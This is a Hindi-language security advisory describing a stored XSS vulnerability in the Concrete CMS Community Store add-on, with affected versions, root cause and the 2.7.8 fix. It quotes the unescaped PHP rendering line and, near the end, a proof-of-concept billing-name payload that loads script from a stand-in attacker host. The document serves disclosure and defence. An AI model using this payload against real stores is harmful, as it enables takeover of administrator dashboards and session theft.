
Concrete CMS Community Store में Stored XSS से admin dashboard takeover होता है
| CVE | CVE-2026-93659 |
| घटक | concretecms-community-store/community_store |
| प्रकार | संग्रहीत क्रॉस-साइट स्क्रिप्टिंग (CWE-79) |
| गंभीरता | CVSS v4.0 9.3 क्रिटिकल / v3.1 8.7 उच्च |
| प्रभावित | 2.7.8 से पहले के सभी संस्करण |
| में ठीक किया गया | 2.7.8 |
| श्रेय | Prince Edem Fiagbedzi (खोजकर्ता) |
Community Store, जो Concrete CMS के लिए एक ओपन-सोर्स ई-कॉमर्स ऐड-ऑन है, ग्राहक द्वारा दिए गए ऑर्डर फ़ील्ड्स को बिना सैनिटाइज़ किए संग्रहीत करता था और उन्हें चार एडमिन-फेसिंग व्यूज़ में बिना HTML एस्केपिंग के रेंडर करता था। कोई भी अनऑथेंटिकेटेड विज़िटर बिलिंग फर्स्ट नेम जैसे फ़ील्ड में स्क्रिप्ट पेलोड डालकर ऑर्डर दे सकता था, और अगली बार जब स्टोर मैनेजर वह ऑर्डर खोलता, तो पेलोड उसके ऑथेंटिकेटेड डैशबोर्ड सेशन के अंदर निष्पादित हो जाता, जो एक रोग एडमिनिस्ट्रेटर अकाउंट बनाने या सेशन डेटा चुराने के लिए पर्याप्त था।
प्रत्येक ऑर्डर में ग्राहक द्वारा दिए गए फ़ील्ड्स होते हैं: बिलिंग/शिपिंग फर्स्ट नेम, लास्ट नेम, ईमेल, और फ़ोन। ये फ़ील्ड्स जैसे-के-तैसे संग्रहीत होते हैं और चार स्थानों पर वापस रेंडर होते हैं जहाँ स्टोर मैनेजर नियमित रूप से देखता है:
single_pages/dashboard/store/orders.php)elements/order_slip.php)single_pages/dashboard/store/reports/*.php)single_pages/checkout/complete.php)महत्वपूर्ण बात यह है कि ऑर्डर देने के लिए किसी अकाउंट की आवश्यकता नहीं होती। Community Store की गेस्ट चेकआउट सेटिंग डिफ़ॉल्ट रूप से always होती है, जिसे पैकेज का अपना इंस्टॉलर हर नई इंस्टॉल पर इसी तरह सेट करता है, यह ऐसी चीज़ नहीं है जिसे स्टोर ऑपरेटर को चुनना पड़े। तो यह ऐसा बग नहीं है जिसके लिए गलत कॉन्फ़िगर किए गए स्टोर की आवश्यकता हो; यह डिफ़ॉल्ट, आउट-ऑफ-द-बॉक्स इंस्टॉलेशन के विरुद्ध शोषणीय है, किसी क्रेडेंशियल की आवश्यकता नहीं।
Community Store को 2.7.8 या बाद के संस्करण में अपडेट करें। यह फ़िक्स सभी चार प्रभावित रेंडर स्थानों में उचित आउटपुट एस्केपिंग जोड़ता है। अपग्रेड के अलावा कोई कॉन्फ़िग वर्कअराउंड नहीं है, क्योंकि कमज़ोर व्यवहार स्वयं एस्केपिंग है, कोई टॉगल नहीं।
चारों रेंडर स्थानों में से किसी ने भी ग्राहक-नियंत्रित फ़ील्ड्स को एस्केप नहीं किया। एडमिन ऑर्डर व्यू से एक प्रतिनिधि पंक्ति:
<?= $order->getAttribute("billing_first_name"). " " . $order->getAttribute("billing_last_name")?><br>
इसके आस-पास कहीं भी h() कॉल नहीं है, जो Concrete का मानक आउटपुट-एस्केपिंग हेल्पर है, भले ही वही फ़ाइल कुछ पंक्तियों दूर अन्य मानों के लिए h() का सही उपयोग करती थी। इनपुट वैलिडेशन भी बेहतर नहीं था: इन फ़ील्ड्स पर लागू एकमात्र जाँच एक लंबाई सीमा (1-255 अक्षर) थी, ऐसा कुछ भी नहीं जो HTML को हटाए या अस्वीकार करे।
if (strlen($data['store-checkout']['first-name']) < 1) { ... }
if (strlen($data['store-checkout']['first-name']) > 255) { ... }
// no HTML sanitization
बिलिंग फर्स्ट नेम फ़ील्ड में 255 अक्षरों से कम का <script> पेलोड वैलिडेशन को बिना बदलाव के पार कर जाता है, संग्रहीत हो जाता है, और बाद में जहाँ भी एडमिन ऑर्डर देखता है वहाँ बिना एस्केप के रेंडर हो जाता है।
गेस्ट चेकआउट डिफ़ॉल्ट सीधे इंस्टॉलर में सेट किया जाता है:
// src/CommunityStore/Utilities/Installer.php
$this->config->save('community_store', [
...
'guestCheckout' => 'always'
]);
चेकआउट कंट्रोलर केवल तभी लॉगिन को बाध्य करता है जब वह सेटिंग off हो (या option बिना गेस्ट फ़्लैग के), और इंस्टॉल किए गए डिफ़ॉल्ट के साथ, वह शाखा कभी ट्रिगर नहीं होती।
Concrete CMS 9.5.2 पर Community Store v2.7.7 के विरुद्ध परीक्षण किया गया (सेल्फ-होस्टेड Docker लैब, PHP 8.3)। पेलोड एक सामान्य गेस्ट चेकआउट के रूप में सबमिट किया गया, किसी भी प्रकार का ऑथेंटिकेशन नहीं:
billing_first_name = <script src="https://attacker-controlled.example/payload.js"></script>
2a802d6
के रूप में फ़िक्स जारी किया गया, जिसमें सभी चार प्रभावित रेंडर स्थानों में h() एस्केपिंग जोड़ी गई